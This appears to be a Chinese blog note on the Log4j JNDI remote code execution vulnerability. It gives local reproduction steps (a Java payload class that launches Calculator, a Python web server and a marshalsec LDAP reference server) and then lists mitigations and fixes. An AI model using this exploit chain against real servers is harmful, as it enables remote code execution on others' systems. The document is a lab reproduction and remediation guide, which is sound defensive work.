编写进度
Apache-Log4j
攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响
复线步骤
编译exp-修改Log4jRCE.java
public class Log4jRCE {
static{
try{
String[] cmd={"open","/System/Applications/Calculator.app"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
python起个本地简易web服务
在target/classes目录下执行 python3 -m http.server 8888
在本地起一个ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
运行log4j.java程序
临时修复方案:
(1)修改jvm参数
-Dlog4j2.formatMsgNoLookups=true
(2)修改配置
在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true
①在jvm启动参数中添加
-Dlog4j2.formatMsgNoLookups=true
③项⽬中创建log4j2.component.properties⽂件,⽂件中增加配置log4j2.formatMsgNoLookups=true
Log4j2 漏洞修复建议
临时性缓解措施(任选一种,但是注意,只有 >=2.1.0 版本才可以用,老版本不支持这个选项)
在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true
创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true
彻底修复漏洞:
方案一、研发代码修复:升级到官方提供的 log4j-2.15.0-rc2 版本
方案二、生产环境修复:https://github.com/zhangyoufu/log4j2-without-jndi。(如果不放心网上下载的版本,也可以自己手动解压删除:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 删除jar包里的这个漏洞相关的class,然后重启服务即可)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com